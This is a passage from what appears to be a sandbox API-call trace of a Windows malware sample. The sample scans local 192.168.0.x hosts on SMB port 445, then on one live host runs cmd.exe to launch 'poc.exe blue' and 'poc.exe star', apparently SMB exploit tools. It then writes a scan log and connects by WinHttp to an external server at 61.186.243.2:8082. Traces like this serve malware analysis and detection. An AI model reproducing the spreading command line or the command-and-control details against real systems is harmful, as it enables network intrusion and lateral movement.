0xeb0 [0107.190] GetCurrentThreadId () returned 0xeb0 [0107.190] GetCurrentThreadId () returned 0xeb0 Thread: id = 344 os_tid = 0xeb4 [0085.946] GetCurrentThreadId () returned 0xeb4 [0085.946] GetCurrentThreadId () returned 0xeb4 [0085.946] GetCurrentThreadId () returned 0xeb4 [0085.946] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b5dfdf0 | out: lpWSAData=0x1b5dfdf0) returned 0 [0085.946] socket (af=2, type=1, protocol=0) returned 0x1614 [0085.949] inet_addr (cp="192.168.0.160") returned 0xa000a8c0 [0085.949] htons (hostshort=0x1bd) returned 0xbd01 [0085.949] connect (s=0x1614, name=0x1b5dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.160"), namelen=16) returned -1 [0107.191] closesocket (s=0x1614) returned 0 [0107.191] WSACleanup () returned 0 [0107.191] GetCurrentThreadId () returned 0xeb4 [0107.191] GetCurrentThreadId () returned 0xeb4 [0107.191] GetCurrentThreadId () returned 0xeb4 Thread: id = 345 os_tid = 0xeb8 [0085.950] GetCurrentThreadId () returned 0xeb8 [0085.950] GetCurrentThreadId () returned 0xeb8 [0085.950] GetCurrentThreadId () returned 0xeb8 [0085.950] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b71fdf0 | out: lpWSAData=0x1b71fdf0) returned 0 [0085.950] socket (af=2, type=1, protocol=0) returned 0x1620 [0085.950] inet_addr (cp="192.168.0.152") returned 0x9800a8c0 [0085.950] htons (hostshort=0x1bd) returned 0xbd01 [0085.950] connect (s=0x1620, name=0x1b71fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.152"), namelen=16) returned -1 [0107.192] closesocket (s=0x1620) returned 0 [0107.192] WSACleanup () returned 0 [0107.192] GetCurrentThreadId () returned 0xeb8 [0107.192] GetCurrentThreadId () returned 0xeb8 [0107.192] GetCurrentThreadId () returned 0xeb8 Thread: id = 346 os_tid = 0xebc [0086.054] GetCurrentThreadId () returned 0xebc [0086.054] GetCurrentThreadId () returned 0xebc [0086.054] GetCurrentThreadId () returned 0xebc [0086.054] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b85fdf0 | out: lpWSAData=0x1b85fdf0) returned 0 [0086.054] socket (af=2, type=1, protocol=0) returned 0x1634 [0086.055] inet_addr (cp="192.168.0.161") returned 0xa100a8c0 [0086.055] htons (hostshort=0x1bd) returned 0xbd01 [0086.055] connect (s=0x1634, name=0x1b85fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.161"), namelen=16) returned -1 [0107.193] closesocket (s=0x1634) returned 0 [0107.193] WSACleanup () returned 0 [0107.193] GetCurrentThreadId () returned 0xebc [0107.193] GetCurrentThreadId () returned 0xebc [0107.193] GetCurrentThreadId () returned 0xebc Thread: id = 347 os_tid = 0xec0 [0086.056] GetCurrentThreadId () returned 0xec0 [0086.056] GetCurrentThreadId () returned 0xec0 [0086.056] GetCurrentThreadId () returned 0xec0 [0086.056] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b99fdf0 | out: lpWSAData=0x1b99fdf0) returned 0 [0086.056] socket (af=2, type=1, protocol=0) returned 0x1640 [0086.057] inet_addr (cp="192.168.0.153") returned 0x9900a8c0 [0086.057] htons (hostshort=0x1bd) returned 0xbd01 [0086.057] connect (s=0x1640, name=0x1b99fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.153"), namelen=16) returned -1 [0107.193] closesocket (s=0x1640) returned 0 [0107.194] WSACleanup () returned 0 [0107.194] GetCurrentThreadId () returned 0xec0 [0107.194] GetCurrentThreadId () returned 0xec0 [0107.194] GetCurrentThreadId () returned 0xec0 Thread: id = 348 os_tid = 0xec4 [0086.148] GetCurrentThreadId () returned 0xec4 [0086.148] GetCurrentThreadId () returned 0xec4 [0086.148] GetCurrentThreadId () returned 0xec4 [0086.149] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1badfdf0 | out: lpWSAData=0x1badfdf0) returned 0 [0086.149] socket (af=2, type=1, protocol=0) returned 0x1654 [0086.149] inet_addr (cp="192.168.0.162") returned 0xa200a8c0 [0086.149] htons (hostshort=0x1bd) returned 0xbd01 [0086.149] connect (s=0x1654, name=0x1badfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.162"), namelen=16) returned -1 [0107.737] closesocket (s=0x1654) returned 0 [0107.738] WSACleanup () returned 0 [0107.738] GetCurrentThreadId () returned 0xec4 [0107.738] GetCurrentThreadId () returned 0xec4 [0107.738] GetCurrentThreadId () returned 0xec4 Thread: id = 349 os_tid = 0xec8 [0086.150] GetCurrentThreadId () returned 0xec8 [0086.150] GetCurrentThreadId () returned 0xec8 [0086.150] GetCurrentThreadId () returned 0xec8 [0086.150] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1bc1fdf0 | out: lpWSAData=0x1bc1fdf0) returned 0 [0086.150] socket (af=2, type=1, protocol=0) returned 0x1660 [0086.150] inet_addr (cp="192.168.0.154") returned 0x9a00a8c0 [0086.150] htons (hostshort=0x1bd) returned 0xbd01 [0086.150] connect (s=0x1660, name=0x1bc1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned -1 [0107.739] closesocket (s=0x1660) returned 0 [0107.739] WSACleanup () returned 0 [0107.739] GetCurrentThreadId () returned 0xec8 [0107.739] GetCurrentThreadId () returned 0xec8 [0107.739] GetCurrentThreadId () returned 0xec8 Thread: id = 350 os_tid = 0xecc [0086.243] GetCurrentThreadId () returned 0xecc [0086.243] GetCurrentThreadId () returned 0xecc [0086.243] GetCurrentThreadId () returned 0xecc [0086.243] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1bd5fdf0 | out: lpWSAData=0x1bd5fdf0) returned 0 [0086.243] socket (af=2, type=1, protocol=0) returned 0x1674 [0086.244] inet_addr (cp="192.168.0.163") returned 0xa300a8c0 [0086.244] htons (hostshort=0x1bd) returned 0xbd01 [0086.244] connect (s=0x1674, name=0x1bd5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.163"), namelen=16) returned -1 [0107.740] closesocket (s=0x1674) returned 0 [0107.740] WSACleanup () returned 0 [0107.740] GetCurrentThreadId () returned 0xecc [0107.740] GetCurrentThreadId () returned 0xecc [0107.740] GetCurrentThreadId () returned 0xecc Thread: id = 351 os_tid = 0xed0 [0086.245] GetCurrentThreadId () returned 0xed0 [0086.245] GetCurrentThreadId () returned 0xed0 [0086.245] GetCurrentThreadId () returned 0xed0 [0086.245] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1be9fdf0 | out: lpWSAData=0x1be9fdf0) returned 0 [0086.245] socket (af=2, type=1, protocol=0) returned 0x1680 [0086.245] inet_addr (cp="192.168.0.155") returned 0x9b00a8c0 [0086.245] htons (hostshort=0x1bd) returned 0xbd01 [0086.245] connect (s=0x1680, name=0x1be9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.155"), namelen=16) returned -1 [0107.740] closesocket (s=0x1680) returned 0 [0107.741] WSACleanup () returned 0 [0107.741] GetCurrentThreadId () returned 0xed0 [0107.741] GetCurrentThreadId () returned 0xed0 [0107.741] GetCurrentThreadId () returned 0xed0 Thread: id = 352 os_tid = 0xed4 [0086.335] GetCurrentThreadId () returned 0xed4 [0086.335] GetCurrentThreadId () returned 0xed4 [0086.335] GetCurrentThreadId () returned 0xed4 [0086.335] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1bfdfdf0 | out: lpWSAData=0x1bfdfdf0) returned 0 [0086.335] socket (af=2, type=1, protocol=0) returned 0x1694 [0086.335] inet_addr (cp="192.168.0.164") returned 0xa400a8c0 [0086.336] htons (hostshort=0x1bd) returned 0xbd01 [0086.336] connect (s=0x1694, name=0x1bfdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.164"), namelen=16) returned -1 [0107.741] closesocket (s=0x1694) returned 0 [0107.741] WSACleanup () returned 0 [0107.742] GetCurrentThreadId () returned 0xed4 [0107.742] GetCurrentThreadId () returned 0xed4 [0107.742] GetCurrentThreadId () returned 0xed4 Thread: id = 353 os_tid = 0xed8 [0086.336] GetCurrentThreadId () returned 0xed8 [0086.336] GetCurrentThreadId () returned 0xed8 [0086.336] GetCurrentThreadId () returned 0xed8 [0086.336] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c11fdf0 | out: lpWSAData=0x1c11fdf0) returned 0 [0086.337] socket (af=2, type=1, protocol=0) returned 0x16a0 [0086.337] inet_addr (cp="192.168.0.156") returned 0x9c00a8c0 [0086.337] htons (hostshort=0x1bd) returned 0xbd01 [0086.337] connect (s=0x16a0, name=0x1c11fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.156"), namelen=16) returned -1 [0107.742] closesocket (s=0x16a0) returned 0 [0107.742] WSACleanup () returned 0 [0107.742] GetCurrentThreadId () returned 0xed8 [0107.743] GetCurrentThreadId () returned 0xed8 [0107.743] GetCurrentThreadId () returned 0xed8 Thread: id = 354 os_tid = 0xedc [0086.429] GetCurrentThreadId () returned 0xedc [0086.429] GetCurrentThreadId () returned 0xedc [0086.429] GetCurrentThreadId () returned 0xedc [0086.429] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c25fdf0 | out: lpWSAData=0x1c25fdf0) returned 0 [0086.429] socket (af=2, type=1, protocol=0) returned 0x16b4 [0086.429] inet_addr (cp="192.168.0.165") returned 0xa500a8c0 [0086.430] htons (hostshort=0x1bd) returned 0xbd01 [0086.430] connect (s=0x16b4, name=0x1c25fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.165"), namelen=16) returned -1 [0107.743] closesocket (s=0x16b4) returned 0 [0107.743] WSACleanup () returned 0 [0107.743] GetCurrentThreadId () returned 0xedc [0107.743] GetCurrentThreadId () returned 0xedc [0107.743] GetCurrentThreadId () returned 0xedc Thread: id = 355 os_tid = 0xee0 [0086.433] GetCurrentThreadId () returned 0xee0 [0086.433] GetCurrentThreadId () returned 0xee0 [0086.433] GetCurrentThreadId () returned 0xee0 [0086.433] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c39fdf0 | out: lpWSAData=0x1c39fdf0) returned 0 [0086.434] socket (af=2, type=1, protocol=0) returned 0x16c0 [0086.434] inet_addr (cp="192.168.0.157") returned 0x9d00a8c0 [0086.434] htons (hostshort=0x1bd) returned 0xbd01 [0086.434] connect (s=0x16c0, name=0x1c39fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.157"), namelen=16) returned -1 [0107.744] closesocket (s=0x16c0) returned 0 [0107.744] WSACleanup () returned 0 [0107.744] GetCurrentThreadId () returned 0xee0 [0107.744] GetCurrentThreadId () returned 0xee0 [0107.744] GetCurrentThreadId () returned 0xee0 Thread: id = 356 os_tid = 0xee4 [0086.522] GetCurrentThreadId () returned 0xee4 [0086.522] GetCurrentThreadId () returned 0xee4 [0086.522] GetCurrentThreadId () returned 0xee4 [0086.522] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c4dfdf0 | out: lpWSAData=0x1c4dfdf0) returned 0 [0086.522] socket (af=2, type=1, protocol=0) returned 0x16d4 [0086.523] inet_addr (cp="192.168.0.166") returned 0xa600a8c0 [0086.523] htons (hostshort=0x1bd) returned 0xbd01 [0086.523] connect (s=0x16d4, name=0x1c4dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.166"), namelen=16) returned -1 [0107.745] closesocket (s=0x16d4) returned 0 [0107.745] WSACleanup () returned 0 [0107.745] GetCurrentThreadId () returned 0xee4 [0107.745] GetCurrentThreadId () returned 0xee4 [0107.745] GetCurrentThreadId () returned 0xee4 Thread: id = 357 os_tid = 0xee8 [0086.524] GetCurrentThreadId () returned 0xee8 [0086.524] GetCurrentThreadId () returned 0xee8 [0086.524] GetCurrentThreadId () returned 0xee8 [0086.524] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c61fdf0 | out: lpWSAData=0x1c61fdf0) returned 0 [0086.524] socket (af=2, type=1, protocol=0) returned 0x16e0 [0086.526] inet_addr (cp="192.168.0.158") returned 0x9e00a8c0 [0086.527] htons (hostshort=0x1bd) returned 0xbd01 [0086.527] connect (s=0x16e0, name=0x1c61fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.158"), namelen=16) returned -1 [0107.746] closesocket (s=0x16e0) returned 0 [0107.746] WSACleanup () returned 0 [0107.746] GetCurrentThreadId () returned 0xee8 [0107.746] GetCurrentThreadId () returned 0xee8 [0107.746] GetCurrentThreadId () returned 0xee8 Thread: id = 358 os_tid = 0xeec [0086.616] GetCurrentThreadId () returned 0xeec [0086.616] GetCurrentThreadId () returned 0xeec [0086.616] GetCurrentThreadId () returned 0xeec [0086.616] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c75fdf0 | out: lpWSAData=0x1c75fdf0) returned 0 [0086.616] socket (af=2, type=1, protocol=0) returned 0x16f4 [0086.616] inet_addr (cp="192.168.0.167") returned 0xa700a8c0 [0086.616] htons (hostshort=0x1bd) returned 0xbd01 [0086.616] connect (s=0x16f4, name=0x1c75fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.167"), namelen=16) returned -1 [0107.747] closesocket (s=0x16f4) returned 0 [0107.747] WSACleanup () returned 0 [0107.747] GetCurrentThreadId () returned 0xeec [0107.747] GetCurrentThreadId () returned 0xeec [0107.747] GetCurrentThreadId () returned 0xeec Thread: id = 359 os_tid = 0xef0 [0086.617] GetCurrentThreadId () returned 0xef0 [0086.617] GetCurrentThreadId () returned 0xef0 [0086.617] GetCurrentThreadId () returned 0xef0 [0086.617] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c89fdf0 | out: lpWSAData=0x1c89fdf0) returned 0 [0086.617] socket (af=2, type=1, protocol=0) returned 0x1700 [0086.617] inet_addr (cp="192.168.0.159") returned 0x9f00a8c0 [0086.617] htons (hostshort=0x1bd) returned 0xbd01 [0086.617] connect (s=0x1700, name=0x1c89fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.159"), namelen=16) returned -1 [0107.748] closesocket (s=0x1700) returned 0 [0107.748] WSACleanup () returned 0 [0107.748] GetCurrentThreadId () returned 0xef0 [0107.748] GetCurrentThreadId () returned 0xef0 [0107.748] GetCurrentThreadId () returned 0xef0 Thread: id = 360 os_tid = 0xef4 [0086.709] GetCurrentThreadId () returned 0xef4 [0086.710] GetCurrentThreadId () returned 0xef4 [0086.710] GetCurrentThreadId () returned 0xef4 [0086.710] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c9dfdf0 | out: lpWSAData=0x1c9dfdf0) returned 0 [0086.710] socket (af=2, type=1, protocol=0) returned 0x1714 [0086.710] inet_addr (cp="192.168.0.168") returned 0xa800a8c0 [0086.710] htons (hostshort=0x1bd) returned 0xbd01 [0086.710] connect (s=0x1714, name=0x1c9dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.168"), namelen=16) returned -1 [0107.973] closesocket (s=0x1714) returned 0 [0107.973] WSACleanup () returned 0 [0107.973] GetCurrentThreadId () returned 0xef4 [0107.973] GetCurrentThreadId () returned 0xef4 [0107.973] GetCurrentThreadId () returned 0xef4 Thread: id = 361 os_tid = 0xef8 [0086.711] GetCurrentThreadId () returned 0xef8 [0086.711] GetCurrentThreadId () returned 0xef8 [0086.711] GetCurrentThreadId () returned 0xef8 [0086.711] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1cb1fdf0 | out: lpWSAData=0x1cb1fdf0) returned 0 [0086.711] socket (af=2, type=1, protocol=0) returned 0x1720 [0086.711] inet_addr (cp="192.168.0.160") returned 0xa000a8c0 [0086.711] htons (hostshort=0x1bd) returned 0xbd01 [0086.711] connect (s=0x1720, name=0x1cb1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.160"), namelen=16) returned -1 [0107.974] closesocket (s=0x1720) returned 0 [0107.974] WSACleanup () returned 0 [0107.974] GetCurrentThreadId () returned 0xef8 [0107.974] GetCurrentThreadId () returned 0xef8 [0107.974] GetCurrentThreadId () returned 0xef8 Thread: id = 362 os_tid = 0xefc [0086.803] GetCurrentThreadId () returned 0xefc [0086.803] GetCurrentThreadId () returned 0xefc [0086.803] GetCurrentThreadId () returned 0xefc [0086.803] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1cc5fdf0 | out: lpWSAData=0x1cc5fdf0) returned 0 [0086.803] socket (af=2, type=1, protocol=0) returned 0x1734 [0086.806] inet_addr (cp="192.168.0.169") returned 0xa900a8c0 [0086.806] htons (hostshort=0x1bd) returned 0xbd01 [0086.806] connect (s=0x1734, name=0x1cc5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.169"), namelen=16) returned -1 [0108.066] closesocket (s=0x1734) returned 0 [0108.067] WSACleanup () returned 0 [0108.067] GetCurrentThreadId () returned 0xefc [0108.067] GetCurrentThreadId () returned 0xefc [0108.067] GetCurrentThreadId () returned 0xefc Thread: id = 363 os_tid = 0xf00 [0086.807] GetCurrentThreadId () returned 0xf00 [0086.807] GetCurrentThreadId () returned 0xf00 [0086.807] GetCurrentThreadId () returned 0xf00 [0086.807] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1cd9fdf0 | out: lpWSAData=0x1cd9fdf0) returned 0 [0086.807] socket (af=2, type=1, protocol=0) returned 0x1740 [0086.807] inet_addr (cp="192.168.0.161") returned 0xa100a8c0 [0086.807] htons (hostshort=0x1bd) returned 0xbd01 [0086.807] connect (s=0x1740, name=0x1cd9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.161"), namelen=16) returned -1 [0108.067] closesocket (s=0x1740) returned 0 [0108.068] WSACleanup () returned 0 [0108.068] GetCurrentThreadId () returned 0xf00 [0108.068] GetCurrentThreadId () returned 0xf00 [0108.068] GetCurrentThreadId () returned 0xf00 Thread: id = 364 os_tid = 0xf04 [0086.958] GetCurrentThreadId () returned 0xf04 [0086.958] GetCurrentThreadId () returned 0xf04 [0086.958] GetCurrentThreadId () returned 0xf04 [0086.958] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1cedfdf0 | out: lpWSAData=0x1cedfdf0) returned 0 [0086.958] socket (af=2, type=1, protocol=0) returned 0x1754 [0086.959] inet_addr (cp="192.168.0.170") returned 0xaa00a8c0 [0086.959] htons (hostshort=0x1bd) returned 0xbd01 [0086.959] connect (s=0x1754, name=0x1cedfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.170"), namelen=16) returned -1 [0108.176] closesocket (s=0x1754) returned 0 [0108.176] WSACleanup () returned 0 [0108.176] GetCurrentThreadId () returned 0xf04 [0108.176] GetCurrentThreadId () returned 0xf04 [0108.176] GetCurrentThreadId () returned 0xf04 Thread: id = 365 os_tid = 0xf08 [0086.961] GetCurrentThreadId () returned 0xf08 [0086.961] GetCurrentThreadId () returned 0xf08 [0086.961] GetCurrentThreadId () returned 0xf08 [0086.961] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1d01fdf0 | out: lpWSAData=0x1d01fdf0) returned 0 [0086.961] socket (af=2, type=1, protocol=0) returned 0x1760 [0086.962] inet_addr (cp="192.168.0.162") returned 0xa200a8c0 [0086.962] htons (hostshort=0x1bd) returned 0xbd01 [0086.962] connect (s=0x1760, name=0x1d01fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.162"), namelen=16) returned -1 [0108.177] closesocket (s=0x1760) returned 0 [0108.177] WSACleanup () returned 0 [0108.177] GetCurrentThreadId () returned 0xf08 [0108.177] GetCurrentThreadId () returned 0xf08 [0108.177] GetCurrentThreadId () returned 0xf08 Thread: id = 366 os_tid = 0xf0c [0087.007] GetCurrentThreadId () returned 0xf0c [0087.007] GetCurrentThreadId () returned 0xf0c [0087.007] GetCurrentThreadId () returned 0xf0c [0087.007] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1d15fdf0 | out: lpWSAData=0x1d15fdf0) returned 0 [0087.007] socket (af=2, type=1, protocol=0) returned 0x1774 [0087.008] inet_addr (cp="192.168.0.171") returned 0xab00a8c0 [0087.008] htons (hostshort=0x1bd) returned 0xbd01 [0087.008] connect (s=0x1774, name=0x1d15fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0087.009] closesocket (s=0x1774) returned 0 [0087.009] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2df510 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2df548 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b7b8 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2df580 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b808 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2df5b8 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x28c9e8 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x74) returned 0x240ad8 [0087.010] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28c9e8) returned 1 [0087.010] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28c9e8 | out: hHeap=0x230000) returned 1 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2df5f0 [0087.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x9b) returned 0x26e5f0 [0087.010] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x240ad8) returned 1 [0087.011] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x240ad8 | out: hHeap=0x230000) returned 1 [0087.011] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2df628 [0087.011] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2df628) returned 1 [0087.011] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2df628 | out: hHeap=0x230000) returned 1 [0087.011] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2df5f0) returned 1 [0087.011] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2df5f0 | out: hHeap=0x230000) returned 1 [0087.011] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/c C:\\ProgramData\\poc.exe blue 192.168.0.171 & C:\\ProgramData\\poc.exe star 192.168.0.171", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0090.247] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ea50 [0090.247] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b948 [0090.247] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ec80 [0090.247] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ecb8 [0090.247] AreFileApisANSI () returned 1 [0090.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bad40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0090.247] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x7e) returned 0x299cf0 [0090.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bad40, cbMultiByte=-1, lpWideCharStr=0x299d10, cchWideChar=45 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\Scanlog") returned 45 [0090.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Scanlog" (normalized: "c:\\program files\\common files\\system\\scanlog"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x1d15f6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17f4 [0090.248] GetFileType (hFile=0x17f4) returned 0x1 [0090.248] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x299cf0) returned 1 [0090.248] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x299cf0 | out: hHeap=0x230000) returned 1 [0090.248] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x329830 [0090.248] SetFilePointerEx (in: hFile=0x17f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d15f6f8 | out: lpNewFilePointer=0x0) returned 1 [0090.248] GetLastError () returned 0xb7 [0090.249] SetLastError (dwErrCode=0xb7) [0090.249] GetLastError () returned 0xb7 [0090.249] SetLastError (dwErrCode=0xb7) [0090.249] SetFilePointerEx (in: hFile=0x17f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d15f7b0 | out: lpNewFilePointer=0x0) returned 1 [0090.249] WriteFile (in: hFile=0x17f4, lpBuffer=0x1d15e3f0*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1d15e3d4, lpOverlapped=0x0 | out: lpBuffer=0x1d15e3f0*, lpNumberOfBytesWritten=0x1d15e3d4*=0x18, lpOverlapped=0x0) returned 1 [0090.250] GetLastError () returned 0xb7 [0090.250] SetLastError (dwErrCode=0xb7) [0090.250] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x329830) returned 1 [0090.250] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x329830 | out: hHeap=0x230000) returned 1 [0090.250] CloseHandle (hObject=0x17f4) returned 1 [0090.518] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ed60 [0090.518] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x312b10 [0090.519] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ed98 [0090.519] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x312b60 [0090.519] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x28ca48 [0090.519] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312b60) returned 1 [0090.519] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312b60 | out: hHeap=0x230000) returned 1 [0090.519] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30edd0 [0090.519] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x74) returned 0x240ed8 [0090.519] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28ca48) returned 1 [0090.519] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28ca48 | out: hHeap=0x230000) returned 1 [0090.519] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ed98) returned 1 [0090.519] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ed98 | out: hHeap=0x230000) returned 1 [0090.519] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ed98 [0090.519] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x28ca48 [0090.519] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ee08 [0090.520] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee08) returned 1 [0090.520] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee08 | out: hHeap=0x230000) returned 1 [0090.520] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ee08 [0090.520] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ee40 [0090.520] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x94) returned 0x3033c0 [0090.520] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xcb) returned 0x3043d8 [0090.520] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3033c0) returned 1 [0090.520] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3033c0 | out: hHeap=0x230000) returned 1 [0090.520] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ee78 [0090.520] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee08) returned 1 [0090.520] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee08 | out: hHeap=0x230000) returned 1 [0090.521] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee78) returned 1 [0090.521] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee78 | out: hHeap=0x230000) returned 1 [0090.521] WinHttpOpen (pszAgentW="Winnet Client", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x2aaf98 [0090.522] WinHttpConnect (hSession=0x2aaf98, pswzServerName="61.186.243.2", nServerPort=0x1f92, dwReserved=0x0) returned 0x272c88 [0090.522] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ee78 [0090.522] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xa4) returned 0x272b10 [0090.522] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x120) returned 0x305d00 [0090.522] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272b10) returned 1 [0090.522] HeapFree (in: 